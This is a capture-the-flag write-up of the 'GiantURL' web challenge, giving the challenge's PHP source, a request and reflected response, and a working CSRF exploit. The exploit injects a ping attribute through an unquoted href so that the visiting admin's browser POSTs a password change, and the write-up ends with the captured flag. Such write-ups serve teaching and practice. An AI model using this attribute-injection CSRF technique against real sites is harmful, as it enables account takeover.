Tags: csrf ping-attribute csp-bypass 

Rating:

▼▼▼GiantURL(Web:190pts、solved:20/1374=1.5%)▼▼▼

This writeup is written by @kazkiti_ctf

Have you ever wished your URLs were longer? No? Well here's a site that does it anyways (source).

Note: the admin does visit the URL you have lengthened.

Author: kmh11

Hint: With all these new browser features, you don't even need CSRF tokens anymore!

【source code】

<?php session_start(); header("Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';"); ?>
<!doctype html>
<html>
<head>
    <title>GiantURL</title>
</head>
<body style="margin: 0; padding: 0; font-family: sans-serif;">
    <h1 style="font-family: 'Comic Sans MS', sans-serif; background-color: #097aa0; margin-top: 0; padding: 1em; color: white"><span style="color: #b7edff">Giant</span>URL</h1>
    <?php $path = strtok($_SERVER['REQUEST_URI'], '?'); $password = file_get_contents("password"); ?>
    <?php if ($path === '/') : ?>
    <form method="GET" action="/redirect" style="padding-left: 2em;">
        <p>Enter url:</p>
        <input type="hidden" name="_" value="<?php echo base64_encode(hash("sha512", openssl_random_pseudo_bytes(64))); ?>">
        <input type="text" name="url">
        <button type="submit">Lengthen URL</button>
        <input type="hidden" name="__" value="<?php echo base64_encode(hash("sha512", openssl_random_pseudo_bytes(64))); ?>">
    </form><br>
    <form method="POST" action="/report" style="padding-left: 2em;">
        <p>Find a URL you don't think we should be redirecting? Enter the lengthened URL here and an admin will review it:</p>
        <input type="text" name="url">
        <button type="submit">Report URL</button>
    </form>
    <?php elseif ($path === '/redirect') : ?>
    <p style="padding-left: 2em;">Click on <a href=<?php echo htmlspecialchars($_REQUEST['url']); ?>>this link</a> to go to your page!</p>
    <?php elseif ($path === '/report' && $_SERVER['REQUEST_METHOD'] === 'POST') : ?>
    <?php exec('nohup node /app/visit.js '.escapeshellarg($_REQUEST['url']).' > /dev/null 2>&1 &'); ?>
    <p style="padding-left: 2em;">The admin will review the link shortly.</p>
    <?php elseif ($path === '/admin' && $_SERVER['REQUEST_METHOD'] === 'GET') : ?>
    <?php if ($_SESSION['admin'] === 'true') : ?>
        <p style="padding-left: 2em;">Here's your flag: <?php echo getenv('FLAG'); ?></p>
    <?php else : ?>
    <form method="POST" style="padding-left: 2em;">
        <p>Enter password:</p>
        <input type="password" name="password">
        <button type="submit">Log In</button>
    </form>
    <?php endif; ?>
    <?php elseif ($path === '/admin' && $_SERVER['REQUEST_METHOD'] === 'POST') : ?>
    <?php if ($_REQUEST['password'] === $password) : ?>
        <?php $_SESSION["admin"] = "true" ?>
        <p style="padding-left: 2em;">Here's your flag: <?php echo getenv('FLAG'); ?></p>
    <?php else : ?>
        <p style="padding-left: 2em;">Incorrect password.</p>
    <?php endif; ?>
    <?php else : ?>
    <p style="padding-left: 2em;">404 Page not found</p>
    <?php endif; ?>
    <?php
    if ($path === '/admin/changepass' && $_SERVER['REQUEST_METHOD'] === 'POST' && $_SESSION["admin"] === "true") {
        if (strlen($_REQUEST['password']) >= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) {
            $password = $_REQUEST['password'];
            echo 'Successfully changed password.';
        } else {
            echo 'Password is insecure.';
        }
    }
    file_put_contents("password", $password);
    ?>
</body>
</html>

【Understanding functions】

・Sending url will create a long url

・When url is sent, admin comes to access

・Admin's login function (flag can be obtained by sending a password)

Countermeasures for CSRF attacks are implemented on the browser side from Hint

(My guess "do not send Cookie if Referer is not same Origin")

・Also, admin clicks the link of <a href=●●>


Send the following request

GET /redirect?_=NzQ1NDU1NTM1YjY1NzY5Y2I3ZWExMDk1ZDQ0NzIwYzE1Njg1OTVlYjhhMGE2Mjk5OTk2ZDg2M2ZmZjljMzRmM2YzOTNmYzA0NDM1MWIxODYwMmNmYWYyZGU5MjBiNjRiYzE5Y2QwNTE0OTYwMTA0MmRlYmIyZjNmNWVmNmI3OTc%3D&url=http%3A%2F%2Fexample.com&__=N2U2YWU2ZDZjNGVkMWM2OWNhZmNmMWM4OWVkODcyY2MwMWNjYzQ4MTEyYzI3ZGJhMGFkMzFiMzdjM2NmOWIyZGZmMTE3NzZiMmE1YTNiOTdmZTdkMTJhMTZjYTIyMDY0ZDcyOGRjNGQzMTA2OWJjZTEyZDVkZWI3ZjY3N2E2NDE%3D HTTP/1.1
Host: giant_url.2019.chall.actf.co

<!doctype html>
<html>
<head>
    <title>GiantURL</title>
</head>
<body style="margin: 0; padding: 0; font-family: sans-serif;">
    <h1 style="font-family: 'Comic Sans MS', sans-serif; background-color: #097aa0; margin-top: 0; padding: 1em; color: white"><span style="color: #b7edff">Giant</span>URL</h1>
            <p style="padding-left: 2em;">Click on <a href=http://example.com>this link</a> to go to your page!</p>
        </body>
</html>

url parameter is reflected but there is no enclosing character.

javascript:alert(1) can not be XSS because it is prevented by CSP(Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline';)


【exploit】

Send POST method using <a> tag's ping attribute

Send the following url to admin.

https://giant_url.2019.chall.actf.co/redirect?url=%23+ping='https://giant_url.2019.chall.actf.co/admin/changepass?password=0123456789abcdef00000000000000000000000000000000000000000000000000000000000000000000000000000000000000'

As a result of sending a POST request, CSRF attack changes admin's password !!


Next, access /admin, enter the following in admin password and send 0123456789abcdef00000000000000000000000000000000000000000000000000000000000000000000000000000000000000

actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}